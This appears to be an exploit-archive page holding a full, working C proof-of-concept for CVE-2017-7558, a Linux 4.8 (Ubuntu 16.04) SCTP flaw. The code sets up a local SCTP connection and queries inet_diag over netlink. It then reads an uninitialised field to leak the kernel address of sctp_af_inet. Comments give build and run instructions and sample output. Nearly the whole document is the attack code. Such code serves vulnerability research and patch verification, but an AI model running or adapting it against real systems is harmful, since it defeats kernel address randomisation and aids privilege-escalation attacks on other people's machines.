exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 4.8 (Ubuntu 16.04) sctp Kernel Pointer Leak

Linux Kernel 4.8 (Ubuntu 16.04) sctp Kernel Pointer Leak
Posted Dec 1, 2018
Authored by Jinbum Park

Linux Kernel version 4.8 on Ubuntu 16.04 suffers from an sctp kernel pointer leak vulnerability.

tags | exploit, kernel
systems | linux, ubuntu
advisories | CVE-2017-7558
SHA-256 | 4328864d04016b724c3257548f9385b9def968488b0edc973e5ba71afba92a2b

Linux Kernel 4.8 (Ubuntu 16.04) sctp Kernel Pointer Leak

Change Mirror Download
# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer
# Google Dork: -
# Date: 2018-11-20
# Exploit Author: Jinbum Park
# Vendor Homepage: -
# Software Link: -
# Version: Linux Kernel 4.8 (Ubuntu 16.04)
# Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# CVE: 2017-7558
# Category: Local

/*
* [ Briefs ]
* - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)
* - This is local exploit against the CVE-2017-7558.
*
* [ Tested version ]
* - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
*
* [ Prerequisites ]
* - sudo apt-get install libsctp-dev
*
* [ Goal ]
* - Leak kernel symbol address of "sctp_af_inet"
*
* [ Run exploit ]
* - $ gcc poc.c -o poc -lsctp -lpthread
* - $ ./poc
* [] Waiting for connection
* [] New client connected
* [] Received data: Hello, Server!
* [] sctp_af_inet address : 0
* [] sctp_af_inet address : ffffffffc0c541e0
* [] sctp_af_inet address : 0
* [] sctp_af_inet address : ffffffffc0c541e0 (leaked kernel pointer)
* - $ sudo cat /proc/kallsyms | grep sctp_af_inet (Check whether leaked pointer value is corret)
* ffffffffc0c541e0 d sctp_af_inet [sctp]
*
* [ Contact ]
* - jinb.park7@gmail.com
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <netinet/in.h>
#include <linux/tcp.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <pthread.h>
#include <errno.h>

#define MY_PORT_NUM 62324

struct sctp_info {
__u32 sctpi_tag;
__u32 sctpi_state;
__u32 sctpi_rwnd;
__u16 sctpi_unackdata;
__u16 sctpi_penddata;
__u16 sctpi_instrms;
__u16 sctpi_outstrms;
__u32 sctpi_fragmentation_point;
__u32 sctpi_inqueue;
__u32 sctpi_outqueue;
__u32 sctpi_overall_error;
__u32 sctpi_max_burst;
__u32 sctpi_maxseg;
__u32 sctpi_peer_rwnd;
__u32 sctpi_peer_tag;
__u8 sctpi_peer_capable;
__u8 sctpi_peer_sack;
__u16 __reserved1;

/* assoc status info */
__u64 sctpi_isacks;
__u64 sctpi_osacks;
__u64 sctpi_opackets;
__u64 sctpi_ipackets;
__u64 sctpi_rtxchunks;
__u64 sctpi_outofseqtsns;
__u64 sctpi_idupchunks;
__u64 sctpi_gapcnt;
__u64 sctpi_ouodchunks;
__u64 sctpi_iuodchunks;
__u64 sctpi_oodchunks;
__u64 sctpi_iodchunks;
__u64 sctpi_octrlchunks;
__u64 sctpi_ictrlchunks;

/* primary transport info */
struct sockaddr_storage sctpi_p_address;
__s32 sctpi_p_state;
__u32 sctpi_p_cwnd;
__u32 sctpi_p_srtt;
__u32 sctpi_p_rto;
__u32 sctpi_p_hbinterval;
__u32 sctpi_p_pathmaxrxt;
__u32 sctpi_p_sackdelay;
__u32 sctpi_p_sackfreq;
__u32 sctpi_p_ssthresh;
__u32 sctpi_p_partial_bytes_acked;
__u32 sctpi_p_flight_size;
__u16 sctpi_p_error;
__u16 __reserved2;

/* sctp sock info */
__u32 sctpi_s_autoclose;
__u32 sctpi_s_adaptation_ind;
__u32 sctpi_s_pd_point;
__u8 sctpi_s_nodelay;
__u8 sctpi_s_disable_fragments;
__u8 sctpi_s_v4mapped;
__u8 sctpi_s_frag_interleave;
__u32 sctpi_s_type;
__u32 __reserved3;
};

enum {
SS_UNKNOWN,
SS_ESTABLISHED,
SS_SYN_SENT,
SS_SYN_RECV,
SS_FIN_WAIT1,
SS_FIN_WAIT2,
SS_TIME_WAIT,
SS_CLOSE,
SS_CLOSE_WAIT,
SS_LAST_ACK,
SS_LISTEN,
SS_CLOSING,
SS_MAX
};

enum sctp_state {
SCTP_STATE_CLOSED = 0,
SCTP_STATE_COOKIE_WAIT = 1,
SCTP_STATE_COOKIE_ECHOED = 2,
SCTP_STATE_ESTABLISHED = 3,
SCTP_STATE_SHUTDOWN_PENDING = 4,
SCTP_STATE_SHUTDOWN_SENT = 5,
SCTP_STATE_SHUTDOWN_RECEIVED = 6,
SCTP_STATE_SHUTDOWN_ACK_SENT = 7,
};

enum {
TCP_ESTABLISHED = 1,
TCP_SYN_SENT,
TCP_SYN_RECV,
TCP_FIN_WAIT1,
TCP_FIN_WAIT2,
TCP_TIME_WAIT,
TCP_CLOSE,
TCP_CLOSE_WAIT,
TCP_LAST_ACK,
TCP_LISTEN,
TCP_CLOSING, /* Now a valid state */
TCP_NEW_SYN_RECV,

TCP_MAX_STATES /* Leave at the end! */
};

enum sctp_sock_state {
SCTP_SS_CLOSED = TCP_CLOSE,
SCTP_SS_LISTENING = TCP_LISTEN,
SCTP_SS_ESTABLISHING = TCP_SYN_SENT,
SCTP_SS_ESTABLISHED = TCP_ESTABLISHED,
SCTP_SS_CLOSING = TCP_CLOSE_WAIT,
};

static volatile int servser_stop_flag = 0;
static volatile int client_stop_flag = 0;

static void *server_thread(void *arg) {
int listen_fd, conn_fd, flags, ret, in;
char buffer[1024];
struct sctp_sndrcvinfo sndrcvinfo;
struct sockaddr_in servaddr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_ANY),
.sin_port = htons(MY_PORT_NUM),
};
struct sctp_initmsg initmsg = {
.sinit_num_ostreams = 5,
.sinit_max_instreams = 5,
.sinit_max_attempts = 4,
};

listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (listen_fd < 0)
return NULL;

ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (ret < 0)
return NULL;

ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));
if (ret < 0)
return NULL;

ret = listen(listen_fd, initmsg.sinit_max_instreams);
if (ret < 0)
return NULL;

printf("[] Waiting for connection\n");

conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL);
if(conn_fd < 0)
return NULL;

printf("[] New client connected\n");

in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags);
if (in > 0) {
printf("[] Received data: %s\n", buffer);
}

while (servser_stop_flag == 0)
sleep(1);

close(conn_fd);
return NULL;
}

static void *client_thread(void *arg) {
int conn_fd, ret;
const char *msg = "Hello, Server!";
struct sockaddr_in servaddr = {
.sin_family = AF_INET,
.sin_port = htons(MY_PORT_NUM),
.sin_addr.s_addr = inet_addr("127.0.0.1"),
};

conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (conn_fd < 0)
return NULL;

ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (ret < 0)
return NULL;

ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 );
if (ret < 0)
return NULL;

while (client_stop_flag == 0)
sleep(1);

close(conn_fd);
return NULL;
}

//Copied from libmnl source
#define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L)

int send_diag_msg(int sockfd){
struct msghdr msg;
struct nlmsghdr nlh;
struct inet_diag_req_v2 conn_req;
struct sockaddr_nl sa;
struct iovec iov[4];
int retval = 0;

//For the filter
struct rtattr rta;
void *filter_mem = NULL;
int filter_len = 0;

memset(&msg, 0, sizeof(msg));
memset(&sa, 0, sizeof(sa));
memset(&nlh, 0, sizeof(nlh));
memset(&conn_req, 0, sizeof(conn_req));

sa.nl_family = AF_NETLINK;

conn_req.sdiag_family = AF_INET;
conn_req.sdiag_protocol = IPPROTO_SCTP;
conn_req.idiag_states = SCTP_SS_CLOSED;
conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1));

nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req));
nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;

nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
iov[0].iov_base = (void*) &nlh;
iov[0].iov_len = sizeof(nlh);
iov[1].iov_base = (void*) &conn_req;
iov[1].iov_len = sizeof(conn_req);

//Set essage correctly
msg.msg_name = (void*) &sa;
msg.msg_namelen = sizeof(sa);
msg.msg_iov = iov;
if(filter_mem == NULL)
msg.msg_iovlen = 2;
else
msg.msg_iovlen = 4;

retval = sendmsg(sockfd, &msg, 0);

if(filter_mem != NULL)
free(filter_mem);

return retval;
}

void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){
struct rtattr *attr;
struct sctp_info *sctpi;
int i;
unsigned char *ptr;

if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) {
fprintf(stderr, "Unknown family\n");
return;
}

if(rtalen > 0){
attr = (struct rtattr*) (diag_msg+1);

while(RTA_OK(attr, rtalen)){
if(attr->rta_type == INET_DIAG_INFO){
// leak kernel pointer here!!
sctpi = (struct sctp_info*) RTA_DATA(attr);
ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32);
printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr);
}
attr = RTA_NEXT(attr, rtalen);
}
}
}

int main(int argc, char *argv[]){
int nl_sock = 0, numbytes = 0, rtalen = 0;
struct nlmsghdr *nlh;
uint8_t recv_buf[SOCKET_BUFFER_SIZE];
struct inet_diag_msg *diag_msg;
pthread_t sctp_server;
pthread_t sctp_client;

// run sctp server & client
if (pthread_create(&sctp_server, NULL, server_thread, NULL))
return EXIT_FAILURE;
sleep(2);

if (pthread_create(&sctp_client, NULL, client_thread, NULL))
return EXIT_FAILURE;
sleep(2);

// run inet_diag
if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){
perror("socket: ");
return EXIT_FAILURE;
}

if(send_diag_msg(nl_sock) < 0){
perror("sendmsg: ");
return EXIT_FAILURE;
}

while(1){
numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0);
nlh = (struct nlmsghdr*) recv_buf;

while(NLMSG_OK(nlh, numbytes)){
if(nlh->nlmsg_type == NLMSG_DONE) {
return EXIT_SUCCESS;
}

if(nlh->nlmsg_type == NLMSG_ERROR){
fprintf(stderr, "Error in netlink message\n");
return EXIT_FAILURE;
}

diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh);
rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg));
parse_diag_msg(diag_msg, rtalen);

nlh = NLMSG_NEXT(nlh, numbytes);
}
}
printf("loop next\n");

// exit threads
client_stop_flag = 1;
if (pthread_join(sctp_client, NULL))
return EXIT_FAILURE;

servser_stop_flag = 1;
if (pthread_join(sctp_server, NULL))
return EXIT_FAILURE;

printf("end\n");
return EXIT_SUCCESS;
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close